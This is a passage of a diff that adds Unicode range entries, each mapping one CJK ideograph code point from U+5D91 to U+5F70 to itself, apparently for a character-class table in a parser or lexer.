+ ["\u5D91", "\u5D91"], /* CJK Ideograph */
+ ["\u5D92", "\u5D92"], /* CJK Ideograph */
+ ["\u5D93", "\u5D93"], /* CJK Ideograph */
+ ["\u5D94", "\u5D94"], /* CJK Ideograph */
+ ["\u5D95", "\u5D95"], /* CJK Ideograph */
+ ["\u5D96", "\u5D96"], /* CJK Ideograph */
+ ["\u5D97", "\u5D97"], /* CJK Ideograph */
+ ["\u5D98", "\u5D98"], /* CJK Ideograph */
+ ["\u5D99", "\u5D99"], /* CJK Ideograph */
+ ["\u5D9A", "\u5D9A"], /* CJK Ideograph */
+ ["\u5D9B", "\u5D9B"], /* CJK Ideograph */
+ ["\u5D9C", "\u5D9C"], /* CJK Ideograph */
+ ["\u5D9D", "\u5D9D"], /* CJK Ideograph */
+ ["\u5D9E", "\u5D9E"], /* CJK Ideograph */
+ ["\u5D9F", "\u5D9F"], /* CJK Ideograph */
+ ["\u5DA0", "\u5DA0"], /* CJK Ideograph */
+ ["\u5DA1", "\u5DA1"], /* CJK Ideograph */
+ ["\u5DA2", "\u5DA2"], /* CJK Ideograph */
+ ["\u5DA3", "\u5DA3"], /* CJK Ideograph */
+ ["\u5DA4", "\u5DA4"], /* CJK Ideograph */
+ ["\u5DA5", "\u5DA5"], /* CJK Ideograph */
+ ["\u5DA6", "\u5DA6"], /* CJK Ideograph */
+ ["\u5DA7", "\u5DA7"], /* CJK Ideograph */
+ ["\u5DA8", "\u5DA8"], /* CJK Ideograph */
+ ["\u5DA9", "\u5DA9"], /* CJK Ideograph */
+ ["\u5DAA", "\u5DAA"], /* CJK Ideograph */
+ ["\u5DAB", "\u5DAB"], /* CJK Ideograph */
+ ["\u5DAC", "\u5DAC"], /* CJK Ideograph */
+ ["\u5DAD", "\u5DAD"], /* CJK Ideograph */
+ ["\u5DAE", "\u5DAE"], /* CJK Ideograph */
+ ["\u5DAF", "\u5DAF"], /* CJK Ideograph */
+ ["\u5DB0", "\u5DB0"], /* CJK Ideograph */
+ ["\u5DB1", "\u5DB1"], /* CJK Ideograph */
+ ["\u5DB2", "\u5DB2"], /* CJK Ideograph */
+ ["\u5DB3", "\u5DB3"], /* CJK Ideograph */
+ ["\u5DB4", "\u5DB4"], /* CJK Ideograph */
+ ["\u5DB5", "\u5DB5"], /* CJK Ideograph */
+ ["\u5DB6", "\u5DB6"], /* CJK Ideograph */
+ ["\u5DB7", "\u5DB7"], /* CJK Ideograph */
+ ["\u5DB8", "\u5DB8"], /* CJK Ideograph */
+ ["\u5DB9", "\u5DB9"], /* CJK Ideograph */
+ ["\u5DBA", "\u5DBA"], /* CJK Ideograph */
+ ["\u5DBB", "\u5DBB"], /* CJK Ideograph */
+ ["\u5DBC", "\u5DBC"], /* CJK Ideograph */
+ ["\u5DBD", "\u5DBD"], /* CJK Ideograph */
+ ["\u5DBE", "\u5DBE"], /* CJK Ideograph */
+ ["\u5DBF", "\u5DBF"], /* CJK Ideograph */
+ ["\u5DC0", "\u5DC0"], /* CJK Ideograph */
+ ["\u5DC1", "\u5DC1"], /* CJK Ideograph */
+ ["\u5DC2", "\u5DC2"], /* CJK Ideograph */
+ ["\u5DC3", "\u5DC3"], /* CJK Ideograph */
+ ["\u5DC4", "\u5DC4"], /* CJK Ideograph */
+ ["\u5DC5", "\u5DC5"], /* CJK Ideograph */
+ ["\u5DC6", "\u5DC6"], /* CJK Ideograph */
+ ["\u5DC7", "\u5DC7"], /* CJK Ideograph */
+ ["\u5DC8", "\u5DC8"], /* CJK Ideograph */
+ ["\u5DC9", "\u5DC9"], /* CJK Ideograph */
+ ["\u5DCA", "\u5DCA"], /* CJK Ideograph */
+ ["\u5DCB", "\u5DCB"], /* CJK Ideograph */
+ ["\u5DCC", "\u5DCC"], /* CJK Ideograph */
+ ["\u5DCD", "\u5DCD"], /* CJK Ideograph */
+ ["\u5DCE", "\u5DCE"], /* CJK Ideograph */
+ ["\u5DCF", "\u5DCF"], /* CJK Ideograph */
+ ["\u5DD0", "\u5DD0"], /* CJK Ideograph */
+ ["\u5DD1", "\u5DD1"], /* CJK Ideograph */
+ ["\u5DD2", "\u5DD2"], /* CJK Ideograph */
+ ["\u5DD3", "\u5DD3"], /* CJK Ideograph */
+ ["\u5DD4", "\u5DD4"], /* CJK Ideograph */
+ ["\u5DD5", "\u5DD5"], /* CJK Ideograph */
+ ["\u5DD6", "\u5DD6"], /* CJK Ideograph */
+ ["\u5DD7", "\u5DD7"], /* CJK Ideograph */
+ ["\u5DD8", "\u5DD8"], /* CJK Ideograph */
+ ["\u5DD9", "\u5DD9"], /* CJK Ideograph */
+ ["\u5DDA", "\u5DDA"], /* CJK Ideograph */
+ ["\u5DDB", "\u5DDB"], /* CJK Ideograph */
+ ["\u5DDC", "\u5DDC"], /* CJK Ideograph */
+ ["\u5DDD", "\u5DDD"], /* CJK Ideograph */
+ ["\u5DDE", "\u5DDE"], /* CJK Ideograph */
+ ["\u5DDF", "\u5DDF"], /* CJK Ideograph */
+ ["\u5DE0", "\u5DE0"], /* CJK Ideograph */
+ ["\u5DE1", "\u5DE1"], /* CJK Ideograph */
+ ["\u5DE2", "\u5DE2"], /* CJK Ideograph */
+ ["\u5DE3", "\u5DE3"], /* CJK Ideograph */
+ ["\u5DE4", "\u5DE4"], /* CJK Ideograph */
+ ["\u5DE5", "\u5DE5"], /* CJK Ideograph */
+ ["\u5DE6", "\u5DE6"], /* CJK Ideograph */
+ ["\u5DE7", "\u5DE7"], /* CJK Ideograph */
+ ["\u5DE8", "\u5DE8"], /* CJK Ideograph */
+ ["\u5DE9", "\u5DE9"], /* CJK Ideograph */
+ ["\u5DEA", "\u5DEA"], /* CJK Ideograph */
+ ["\u5DEB", "\u5DEB"], /* CJK Ideograph */
+ ["\u5DEC", "\u5DEC"], /* CJK Ideograph */
+ ["\u5DED", "\u5DED"], /* CJK Ideograph */
+ ["\u5DEE", "\u5DEE"], /* CJK Ideograph */
+ ["\u5DEF", "\u5DEF"], /* CJK Ideograph */
+ ["\u5DF0", "\u5DF0"], /* CJK Ideograph */
+ ["\u5DF1", "\u5DF1"], /* CJK Ideograph */
+ ["\u5DF2", "\u5DF2"], /* CJK Ideograph */
+ ["\u5DF3", "\u5DF3"], /* CJK Ideograph */
+ ["\u5DF4", "\u5DF4"], /* CJK Ideograph */
+ ["\u5DF5", "\u5DF5"], /* CJK Ideograph */
+ ["\u5DF6", "\u5DF6"], /* CJK Ideograph */
+ ["\u5DF7", "\u5DF7"], /* CJK Ideograph */
+ ["\u5DF8", "\u5DF8"], /* CJK Ideograph */
+ ["\u5DF9", "\u5DF9"], /* CJK Ideograph */
+ ["\u5DFA", "\u5DFA"], /* CJK Ideograph */
+ ["\u5DFB", "\u5DFB"], /* CJK Ideograph */
+ ["\u5DFC", "\u5DFC"], /* CJK Ideograph */
+ ["\u5DFD", "\u5DFD"], /* CJK Ideograph */
+ ["\u5DFE", "\u5DFE"], /* CJK Ideograph */
+ ["\u5DFF", "\u5DFF"], /* CJK Ideograph */
+ ["\u5E00", "\u5E00"], /* CJK Ideograph */
+ ["\u5E01", "\u5E01"], /* CJK Ideograph */
+ ["\u5E02", "\u5E02"], /* CJK Ideograph */
+ ["\u5E03", "\u5E03"], /* CJK Ideograph */
+ ["\u5E04", "\u5E04"], /* CJK Ideograph */
+ ["\u5E05", "\u5E05"], /* CJK Ideograph */
+ ["\u5E06", "\u5E06"], /* CJK Ideograph */
+ ["\u5E07", "\u5E07"], /* CJK Ideograph */
+ ["\u5E08", "\u5E08"], /* CJK Ideograph */
+ ["\u5E09", "\u5E09"], /* CJK Ideograph */
+ ["\u5E0A", "\u5E0A"], /* CJK Ideograph */
+ ["\u5E0B", "\u5E0B"], /* CJK Ideograph */
+ ["\u5E0C", "\u5E0C"], /* CJK Ideograph */
+ ["\u5E0D", "\u5E0D"], /* CJK Ideograph */
+ ["\u5E0E", "\u5E0E"], /* CJK Ideograph */
+ ["\u5E0F", "\u5E0F"], /* CJK Ideograph */
+ ["\u5E10", "\u5E10"], /* CJK Ideograph */
+ ["\u5E11", "\u5E11"], /* CJK Ideograph */
+ ["\u5E12", "\u5E12"], /* CJK Ideograph */
+ ["\u5E13", "\u5E13"], /* CJK Ideograph */
+ ["\u5E14", "\u5E14"], /* CJK Ideograph */
+ ["\u5E15", "\u5E15"], /* CJK Ideograph */
+ ["\u5E16", "\u5E16"], /* CJK Ideograph */
+ ["\u5E17", "\u5E17"], /* CJK Ideograph */
+ ["\u5E18", "\u5E18"], /* CJK Ideograph */
+ ["\u5E19", "\u5E19"], /* CJK Ideograph */
+ ["\u5E1A", "\u5E1A"], /* CJK Ideograph */
+ ["\u5E1B", "\u5E1B"], /* CJK Ideograph */
+ ["\u5E1C", "\u5E1C"], /* CJK Ideograph */
+ ["\u5E1D", "\u5E1D"], /* CJK Ideograph */
+ ["\u5E1E", "\u5E1E"], /* CJK Ideograph */
+ ["\u5E1F", "\u5E1F"], /* CJK Ideograph */
+ ["\u5E20", "\u5E20"], /* CJK Ideograph */
+ ["\u5E21", "\u5E21"], /* CJK Ideograph */
+ ["\u5E22", "\u5E22"], /* CJK Ideograph */
+ ["\u5E23", "\u5E23"], /* CJK Ideograph */
+ ["\u5E24", "\u5E24"], /* CJK Ideograph */
+ ["\u5E25", "\u5E25"], /* CJK Ideograph */
+ ["\u5E26", "\u5E26"], /* CJK Ideograph */
+ ["\u5E27", "\u5E27"], /* CJK Ideograph */
+ ["\u5E28", "\u5E28"], /* CJK Ideograph */
+ ["\u5E29", "\u5E29"], /* CJK Ideograph */
+ ["\u5E2A", "\u5E2A"], /* CJK Ideograph */
+ ["\u5E2B", "\u5E2B"], /* CJK Ideograph */
+ ["\u5E2C", "\u5E2C"], /* CJK Ideograph */
+ ["\u5E2D", "\u5E2D"], /* CJK Ideograph */
+ ["\u5E2E", "\u5E2E"], /* CJK Ideograph */
+ ["\u5E2F", "\u5E2F"], /* CJK Ideograph */
+ ["\u5E30", "\u5E30"], /* CJK Ideograph */
+ ["\u5E31", "\u5E31"], /* CJK Ideograph */
+ ["\u5E32", "\u5E32"], /* CJK Ideograph */
+ ["\u5E33", "\u5E33"], /* CJK Ideograph */
+ ["\u5E34", "\u5E34"], /* CJK Ideograph */
+ ["\u5E35", "\u5E35"], /* CJK Ideograph */
+ ["\u5E36", "\u5E36"], /* CJK Ideograph */
+ ["\u5E37", "\u5E37"], /* CJK Ideograph */
+ ["\u5E38", "\u5E38"], /* CJK Ideograph */
+ ["\u5E39", "\u5E39"], /* CJK Ideograph */
+ ["\u5E3A", "\u5E3A"], /* CJK Ideograph */
+ ["\u5E3B", "\u5E3B"], /* CJK Ideograph */
+ ["\u5E3C", "\u5E3C"], /* CJK Ideograph */
+ ["\u5E3D", "\u5E3D"], /* CJK Ideograph */
+ ["\u5E3E", "\u5E3E"], /* CJK Ideograph */
+ ["\u5E3F", "\u5E3F"], /* CJK Ideograph */
+ ["\u5E40", "\u5E40"], /* CJK Ideograph */
+ ["\u5E41", "\u5E41"], /* CJK Ideograph */
+ ["\u5E42", "\u5E42"], /* CJK Ideograph */
+ ["\u5E43", "\u5E43"], /* CJK Ideograph */
+ ["\u5E44", "\u5E44"], /* CJK Ideograph */
+ ["\u5E45", "\u5E45"], /* CJK Ideograph */
+ ["\u5E46", "\u5E46"], /* CJK Ideograph */
+ ["\u5E47", "\u5E47"], /* CJK Ideograph */
+ ["\u5E48", "\u5E48"], /* CJK Ideograph */
+ ["\u5E49", "\u5E49"], /* CJK Ideograph */
+ ["\u5E4A", "\u5E4A"], /* CJK Ideograph */
+ ["\u5E4B", "\u5E4B"], /* CJK Ideograph */
+ ["\u5E4C", "\u5E4C"], /* CJK Ideograph */
+ ["\u5E4D", "\u5E4D"], /* CJK Ideograph */
+ ["\u5E4E", "\u5E4E"], /* CJK Ideograph */
+ ["\u5E4F", "\u5E4F"], /* CJK Ideograph */
+ ["\u5E50", "\u5E50"], /* CJK Ideograph */
+ ["\u5E51", "\u5E51"], /* CJK Ideograph */
+ ["\u5E52", "\u5E52"], /* CJK Ideograph */
+ ["\u5E53", "\u5E53"], /* CJK Ideograph */
+ ["\u5E54", "\u5E54"], /* CJK Ideograph */
+ ["\u5E55", "\u5E55"], /* CJK Ideograph */
+ ["\u5E56", "\u5E56"], /* CJK Ideograph */
+ ["\u5E57", "\u5E57"], /* CJK Ideograph */
+ ["\u5E58", "\u5E58"], /* CJK Ideograph */
+ ["\u5E59", "\u5E59"], /* CJK Ideograph */
+ ["\u5E5A", "\u5E5A"], /* CJK Ideograph */
+ ["\u5E5B", "\u5E5B"], /* CJK Ideograph */
+ ["\u5E5C", "\u5E5C"], /* CJK Ideograph */
+ ["\u5E5D", "\u5E5D"], /* CJK Ideograph */
+ ["\u5E5E", "\u5E5E"], /* CJK Ideograph */
+ ["\u5E5F", "\u5E5F"], /* CJK Ideograph */
+ ["\u5E60", "\u5E60"], /* CJK Ideograph */
+ ["\u5E61", "\u5E61"], /* CJK Ideograph */
+ ["\u5E62", "\u5E62"], /* CJK Ideograph */
+ ["\u5E63", "\u5E63"], /* CJK Ideograph */
+ ["\u5E64", "\u5E64"], /* CJK Ideograph */
+ ["\u5E65", "\u5E65"], /* CJK Ideograph */
+ ["\u5E66", "\u5E66"], /* CJK Ideograph */
+ ["\u5E67", "\u5E67"], /* CJK Ideograph */
+ ["\u5E68", "\u5E68"], /* CJK Ideograph */
+ ["\u5E69", "\u5E69"], /* CJK Ideograph */
+ ["\u5E6A", "\u5E6A"], /* CJK Ideograph */
+ ["\u5E6B", "\u5E6B"], /* CJK Ideograph */
+ ["\u5E6C", "\u5E6C"], /* CJK Ideograph */
+ ["\u5E6D", "\u5E6D"], /* CJK Ideograph */
+ ["\u5E6E", "\u5E6E"], /* CJK Ideograph */
+ ["\u5E6F", "\u5E6F"], /* CJK Ideograph */
+ ["\u5E70", "\u5E70"], /* CJK Ideograph */
+ ["\u5E71", "\u5E71"], /* CJK Ideograph */
+ ["\u5E72", "\u5E72"], /* CJK Ideograph */
+ ["\u5E73", "\u5E73"], /* CJK Ideograph */
+ ["\u5E74", "\u5E74"], /* CJK Ideograph */
+ ["\u5E75", "\u5E75"], /* CJK Ideograph */
+ ["\u5E76", "\u5E76"], /* CJK Ideograph */
+ ["\u5E77", "\u5E77"], /* CJK Ideograph */
+ ["\u5E78", "\u5E78"], /* CJK Ideograph */
+ ["\u5E79", "\u5E79"], /* CJK Ideograph */
+ ["\u5E7A", "\u5E7A"], /* CJK Ideograph */
+ ["\u5E7B", "\u5E7B"], /* CJK Ideograph */
+ ["\u5E7C", "\u5E7C"], /* CJK Ideograph */
+ ["\u5E7D", "\u5E7D"], /* CJK Ideograph */
+ ["\u5E7E", "\u5E7E"], /* CJK Ideograph */
+ ["\u5E7F", "\u5E7F"], /* CJK Ideograph */
+ ["\u5E80", "\u5E80"], /* CJK Ideograph */
+ ["\u5E81", "\u5E81"], /* CJK Ideograph */
+ ["\u5E82", "\u5E82"], /* CJK Ideograph */
+ ["\u5E83", "\u5E83"], /* CJK Ideograph */
+ ["\u5E84", "\u5E84"], /* CJK Ideograph */
+ ["\u5E85", "\u5E85"], /* CJK Ideograph */
+ ["\u5E86", "\u5E86"], /* CJK Ideograph */
+ ["\u5E87", "\u5E87"], /* CJK Ideograph */
+ ["\u5E88", "\u5E88"], /* CJK Ideograph */
+ ["\u5E89", "\u5E89"], /* CJK Ideograph */
+ ["\u5E8A", "\u5E8A"], /* CJK Ideograph */
+ ["\u5E8B", "\u5E8B"], /* CJK Ideograph */
+ ["\u5E8C", "\u5E8C"], /* CJK Ideograph */
+ ["\u5E8D", "\u5E8D"], /* CJK Ideograph */
+ ["\u5E8E", "\u5E8E"], /* CJK Ideograph */
+ ["\u5E8F", "\u5E8F"], /* CJK Ideograph */
+ ["\u5E90", "\u5E90"], /* CJK Ideograph */
+ ["\u5E91", "\u5E91"], /* CJK Ideograph */
+ ["\u5E92", "\u5E92"], /* CJK Ideograph */
+ ["\u5E93", "\u5E93"], /* CJK Ideograph */
+ ["\u5E94", "\u5E94"], /* CJK Ideograph */
+ ["\u5E95", "\u5E95"], /* CJK Ideograph */
+ ["\u5E96", "\u5E96"], /* CJK Ideograph */
+ ["\u5E97", "\u5E97"], /* CJK Ideograph */
+ ["\u5E98", "\u5E98"], /* CJK Ideograph */
+ ["\u5E99", "\u5E99"], /* CJK Ideograph */
+ ["\u5E9A", "\u5E9A"], /* CJK Ideograph */
+ ["\u5E9B", "\u5E9B"], /* CJK Ideograph */
+ ["\u5E9C", "\u5E9C"], /* CJK Ideograph */
+ ["\u5E9D", "\u5E9D"], /* CJK Ideograph */
+ ["\u5E9E", "\u5E9E"], /* CJK Ideograph */
+ ["\u5E9F", "\u5E9F"], /* CJK Ideograph */
+ ["\u5EA0", "\u5EA0"], /* CJK Ideograph */
+ ["\u5EA1", "\u5EA1"], /* CJK Ideograph */
+ ["\u5EA2", "\u5EA2"], /* CJK Ideograph */
+ ["\u5EA3", "\u5EA3"], /* CJK Ideograph */
+ ["\u5EA4", "\u5EA4"], /* CJK Ideograph */
+ ["\u5EA5", "\u5EA5"], /* CJK Ideograph */
+ ["\u5EA6", "\u5EA6"], /* CJK Ideograph */
+ ["\u5EA7", "\u5EA7"], /* CJK Ideograph */
+ ["\u5EA8", "\u5EA8"], /* CJK Ideograph */
+ ["\u5EA9", "\u5EA9"], /* CJK Ideograph */
+ ["\u5EAA", "\u5EAA"], /* CJK Ideograph */
+ ["\u5EAB", "\u5EAB"], /* CJK Ideograph */
+ ["\u5EAC", "\u5EAC"], /* CJK Ideograph */
+ ["\u5EAD", "\u5EAD"], /* CJK Ideograph */
+ ["\u5EAE", "\u5EAE"], /* CJK Ideograph */
+ ["\u5EAF", "\u5EAF"], /* CJK Ideograph */
+ ["\u5EB0", "\u5EB0"], /* CJK Ideograph */
+ ["\u5EB1", "\u5EB1"], /* CJK Ideograph */
+ ["\u5EB2", "\u5EB2"], /* CJK Ideograph */
+ ["\u5EB3", "\u5EB3"], /* CJK Ideograph */
+ ["\u5EB4", "\u5EB4"], /* CJK Ideograph */
+ ["\u5EB5", "\u5EB5"], /* CJK Ideograph */
+ ["\u5EB6", "\u5EB6"], /* CJK Ideograph */
+ ["\u5EB7", "\u5EB7"], /* CJK Ideograph */
+ ["\u5EB8", "\u5EB8"], /* CJK Ideograph */
+ ["\u5EB9", "\u5EB9"], /* CJK Ideograph */
+ ["\u5EBA", "\u5EBA"], /* CJK Ideograph */
+ ["\u5EBB", "\u5EBB"], /* CJK Ideograph */
+ ["\u5EBC", "\u5EBC"], /* CJK Ideograph */
+ ["\u5EBD", "\u5EBD"], /* CJK Ideograph */
+ ["\u5EBE", "\u5EBE"], /* CJK Ideograph */
+ ["\u5EBF", "\u5EBF"], /* CJK Ideograph */
+ ["\u5EC0", "\u5EC0"], /* CJK Ideograph */
+ ["\u5EC1", "\u5EC1"], /* CJK Ideograph */
+ ["\u5EC2", "\u5EC2"], /* CJK Ideograph */
+ ["\u5EC3", "\u5EC3"], /* CJK Ideograph */
+ ["\u5EC4", "\u5EC4"], /* CJK Ideograph */
+ ["\u5EC5", "\u5EC5"], /* CJK Ideograph */
+ ["\u5EC6", "\u5EC6"], /* CJK Ideograph */
+ ["\u5EC7", "\u5EC7"], /* CJK Ideograph */
+ ["\u5EC8", "\u5EC8"], /* CJK Ideograph */
+ ["\u5EC9", "\u5EC9"], /* CJK Ideograph */
+ ["\u5ECA", "\u5ECA"], /* CJK Ideograph */
+ ["\u5ECB", "\u5ECB"], /* CJK Ideograph */
+ ["\u5ECC", "\u5ECC"], /* CJK Ideograph */
+ ["\u5ECD", "\u5ECD"], /* CJK Ideograph */
+ ["\u5ECE", "\u5ECE"], /* CJK Ideograph */
+ ["\u5ECF", "\u5ECF"], /* CJK Ideograph */
+ ["\u5ED0", "\u5ED0"], /* CJK Ideograph */
+ ["\u5ED1", "\u5ED1"], /* CJK Ideograph */
+ ["\u5ED2", "\u5ED2"], /* CJK Ideograph */
+ ["\u5ED3", "\u5ED3"], /* CJK Ideograph */
+ ["\u5ED4", "\u5ED4"], /* CJK Ideograph */
+ ["\u5ED5", "\u5ED5"], /* CJK Ideograph */
+ ["\u5ED6", "\u5ED6"], /* CJK Ideograph */
+ ["\u5ED7", "\u5ED7"], /* CJK Ideograph */
+ ["\u5ED8", "\u5ED8"], /* CJK Ideograph */
+ ["\u5ED9", "\u5ED9"], /* CJK Ideograph */
+ ["\u5EDA", "\u5EDA"], /* CJK Ideograph */
+ ["\u5EDB", "\u5EDB"], /* CJK Ideograph */
+ ["\u5EDC", "\u5EDC"], /* CJK Ideograph */
+ ["\u5EDD", "\u5EDD"], /* CJK Ideograph */
+ ["\u5EDE", "\u5EDE"], /* CJK Ideograph */
+ ["\u5EDF", "\u5EDF"], /* CJK Ideograph */
+ ["\u5EE0", "\u5EE0"], /* CJK Ideograph */
+ ["\u5EE1", "\u5EE1"], /* CJK Ideograph */
+ ["\u5EE2", "\u5EE2"], /* CJK Ideograph */
+ ["\u5EE3", "\u5EE3"], /* CJK Ideograph */
+ ["\u5EE4", "\u5EE4"], /* CJK Ideograph */
+ ["\u5EE5", "\u5EE5"], /* CJK Ideograph */
+ ["\u5EE6", "\u5EE6"], /* CJK Ideograph */
+ ["\u5EE7", "\u5EE7"], /* CJK Ideograph */
+ ["\u5EE8", "\u5EE8"], /* CJK Ideograph */
+ ["\u5EE9", "\u5EE9"], /* CJK Ideograph */
+ ["\u5EEA", "\u5EEA"], /* CJK Ideograph */
+ ["\u5EEB", "\u5EEB"], /* CJK Ideograph */
+ ["\u5EEC", "\u5EEC"], /* CJK Ideograph */
+ ["\u5EED", "\u5EED"], /* CJK Ideograph */
+ ["\u5EEE", "\u5EEE"], /* CJK Ideograph */
+ ["\u5EEF", "\u5EEF"], /* CJK Ideograph */
+ ["\u5EF0", "\u5EF0"], /* CJK Ideograph */
+ ["\u5EF1", "\u5EF1"], /* CJK Ideograph */
+ ["\u5EF2", "\u5EF2"], /* CJK Ideograph */
+ ["\u5EF3", "\u5EF3"], /* CJK Ideograph */
+ ["\u5EF4", "\u5EF4"], /* CJK Ideograph */
+ ["\u5EF5", "\u5EF5"], /* CJK Ideograph */
+ ["\u5EF6", "\u5EF6"], /* CJK Ideograph */
+ ["\u5EF7", "\u5EF7"], /* CJK Ideograph */
+ ["\u5EF8", "\u5EF8"], /* CJK Ideograph */
+ ["\u5EF9", "\u5EF9"], /* CJK Ideograph */
+ ["\u5EFA", "\u5EFA"], /* CJK Ideograph */
+ ["\u5EFB", "\u5EFB"], /* CJK Ideograph */
+ ["\u5EFC", "\u5EFC"], /* CJK Ideograph */
+ ["\u5EFD", "\u5EFD"], /* CJK Ideograph */
+ ["\u5EFE", "\u5EFE"], /* CJK Ideograph */
+ ["\u5EFF", "\u5EFF"], /* CJK Ideograph */
+ ["\u5F00", "\u5F00"], /* CJK Ideograph */
+ ["\u5F01", "\u5F01"], /* CJK Ideograph */
+ ["\u5F02", "\u5F02"], /* CJK Ideograph */
+ ["\u5F03", "\u5F03"], /* CJK Ideograph */
+ ["\u5F04", "\u5F04"], /* CJK Ideograph */
+ ["\u5F05", "\u5F05"], /* CJK Ideograph */
+ ["\u5F06", "\u5F06"], /* CJK Ideograph */
+ ["\u5F07", "\u5F07"], /* CJK Ideograph */
+ ["\u5F08", "\u5F08"], /* CJK Ideograph */
+ ["\u5F09", "\u5F09"], /* CJK Ideograph */
+ ["\u5F0A", "\u5F0A"], /* CJK Ideograph */
+ ["\u5F0B", "\u5F0B"], /* CJK Ideograph */
+ ["\u5F0C", "\u5F0C"], /* CJK Ideograph */
+ ["\u5F0D", "\u5F0D"], /* CJK Ideograph */
+ ["\u5F0E", "\u5F0E"], /* CJK Ideograph */
+ ["\u5F0F", "\u5F0F"], /* CJK Ideograph */
+ ["\u5F10", "\u5F10"], /* CJK Ideograph */
+ ["\u5F11", "\u5F11"], /* CJK Ideograph */
+ ["\u5F12", "\u5F12"], /* CJK Ideograph */
+ ["\u5F13", "\u5F13"], /* CJK Ideograph */
+ ["\u5F14", "\u5F14"], /* CJK Ideograph */
+ ["\u5F15", "\u5F15"], /* CJK Ideograph */
+ ["\u5F16", "\u5F16"], /* CJK Ideograph */
+ ["\u5F17", "\u5F17"], /* CJK Ideograph */
+ ["\u5F18", "\u5F18"], /* CJK Ideograph */
+ ["\u5F19", "\u5F19"], /* CJK Ideograph */
+ ["\u5F1A", "\u5F1A"], /* CJK Ideograph */
+ ["\u5F1B", "\u5F1B"], /* CJK Ideograph */
+ ["\u5F1C", "\u5F1C"], /* CJK Ideograph */
+ ["\u5F1D", "\u5F1D"], /* CJK Ideograph */
+ ["\u5F1E", "\u5F1E"], /* CJK Ideograph */
+ ["\u5F1F", "\u5F1F"], /* CJK Ideograph */
+ ["\u5F20", "\u5F20"], /* CJK Ideograph */
+ ["\u5F21", "\u5F21"], /* CJK Ideograph */
+ ["\u5F22", "\u5F22"], /* CJK Ideograph */
+ ["\u5F23", "\u5F23"], /* CJK Ideograph */
+ ["\u5F24", "\u5F24"], /* CJK Ideograph */
+ ["\u5F25", "\u5F25"], /* CJK Ideograph */
+ ["\u5F26", "\u5F26"], /* CJK Ideograph */
+ ["\u5F27", "\u5F27"], /* CJK Ideograph */
+ ["\u5F28", "\u5F28"], /* CJK Ideograph */
+ ["\u5F29", "\u5F29"], /* CJK Ideograph */
+ ["\u5F2A", "\u5F2A"], /* CJK Ideograph */
+ ["\u5F2B", "\u5F2B"], /* CJK Ideograph */
+ ["\u5F2C", "\u5F2C"], /* CJK Ideograph */
+ ["\u5F2D", "\u5F2D"], /* CJK Ideograph */
+ ["\u5F2E", "\u5F2E"], /* CJK Ideograph */
+ ["\u5F2F", "\u5F2F"], /* CJK Ideograph */
+ ["\u5F30", "\u5F30"], /* CJK Ideograph */
+ ["\u5F31", "\u5F31"], /* CJK Ideograph */
+ ["\u5F32", "\u5F32"], /* CJK Ideograph */
+ ["\u5F33", "\u5F33"], /* CJK Ideograph */
+ ["\u5F34", "\u5F34"], /* CJK Ideograph */
+ ["\u5F35", "\u5F35"], /* CJK Ideograph */
+ ["\u5F36", "\u5F36"], /* CJK Ideograph */
+ ["\u5F37", "\u5F37"], /* CJK Ideograph */
+ ["\u5F38", "\u5F38"], /* CJK Ideograph */
+ ["\u5F39", "\u5F39"], /* CJK Ideograph */
+ ["\u5F3A", "\u5F3A"], /* CJK Ideograph */
+ ["\u5F3B", "\u5F3B"], /* CJK Ideograph */
+ ["\u5F3C", "\u5F3C"], /* CJK Ideograph */
+ ["\u5F3D", "\u5F3D"], /* CJK Ideograph */
+ ["\u5F3E", "\u5F3E"], /* CJK Ideograph */
+ ["\u5F3F", "\u5F3F"], /* CJK Ideograph */
+ ["\u5F40", "\u5F40"], /* CJK Ideograph */
+ ["\u5F41", "\u5F41"], /* CJK Ideograph */
+ ["\u5F42", "\u5F42"], /* CJK Ideograph */
+ ["\u5F43", "\u5F43"], /* CJK Ideograph */
+ ["\u5F44", "\u5F44"], /* CJK Ideograph */
+ ["\u5F45", "\u5F45"], /* CJK Ideograph */
+ ["\u5F46", "\u5F46"], /* CJK Ideograph */
+ ["\u5F47", "\u5F47"], /* CJK Ideograph */
+ ["\u5F48", "\u5F48"], /* CJK Ideograph */
+ ["\u5F49", "\u5F49"], /* CJK Ideograph */
+ ["\u5F4A", "\u5F4A"], /* CJK Ideograph */
+ ["\u5F4B", "\u5F4B"], /* CJK Ideograph */
+ ["\u5F4C", "\u5F4C"], /* CJK Ideograph */
+ ["\u5F4D", "\u5F4D"], /* CJK Ideograph */
+ ["\u5F4E", "\u5F4E"], /* CJK Ideograph */
+ ["\u5F4F", "\u5F4F"], /* CJK Ideograph */
+ ["\u5F50", "\u5F50"], /* CJK Ideograph */
+ ["\u5F51", "\u5F51"], /* CJK Ideograph */
+ ["\u5F52", "\u5F52"], /* CJK Ideograph */
+ ["\u5F53", "\u5F53"], /* CJK Ideograph */
+ ["\u5F54", "\u5F54"], /* CJK Ideograph */
+ ["\u5F55", "\u5F55"], /* CJK Ideograph */
+ ["\u5F56", "\u5F56"], /* CJK Ideograph */
+ ["\u5F57", "\u5F57"], /* CJK Ideograph */
+ ["\u5F58", "\u5F58"], /* CJK Ideograph */
+ ["\u5F59", "\u5F59"], /* CJK Ideograph */
+ ["\u5F5A", "\u5F5A"], /* CJK Ideograph */
+ ["\u5F5B", "\u5F5B"], /* CJK Ideograph */
+ ["\u5F5C", "\u5F5C"], /* CJK Ideograph */
+ ["\u5F5D", "\u5F5D"], /* CJK Ideograph */
+ ["\u5F5E", "\u5F5E"], /* CJK Ideograph */
+ ["\u5F5F", "\u5F5F"], /* CJK Ideograph */
+ ["\u5F60", "\u5F60"], /* CJK Ideograph */
+ ["\u5F61", "\u5F61"], /* CJK Ideograph */
+ ["\u5F62", "\u5F62"], /* CJK Ideograph */
+ ["\u5F63", "\u5F63"], /* CJK Ideograph */
+ ["\u5F64", "\u5F64"], /* CJK Ideograph */
+ ["\u5F65", "\u5F65"], /* CJK Ideograph */
+ ["\u5F66", "\u5F66"], /* CJK Ideograph */
+ ["\u5F67", "\u5F67"], /* CJK Ideograph */
+ ["\u5F68", "\u5F68"], /* CJK Ideograph */
+ ["\u5F69", "\u5F69"], /* CJK Ideograph */
+ ["\u5F6A", "\u5F6A"], /* CJK Ideograph */
+ ["\u5F6B", "\u5F6B"], /* CJK Ideograph */
+ ["\u5F6C", "\u5F6C"], /* CJK Ideograph */
+ ["\u5F6D", "\u5F6D"], /* CJK Ideograph */
+ ["\u5F6E", "\u5F6E"], /* CJK Ideograph */
+ ["\u5F6F", "\u5F6F"], /* CJK Ideograph */
+ ["\u5F70", "\u5F70"], /* CJK Ideograph */
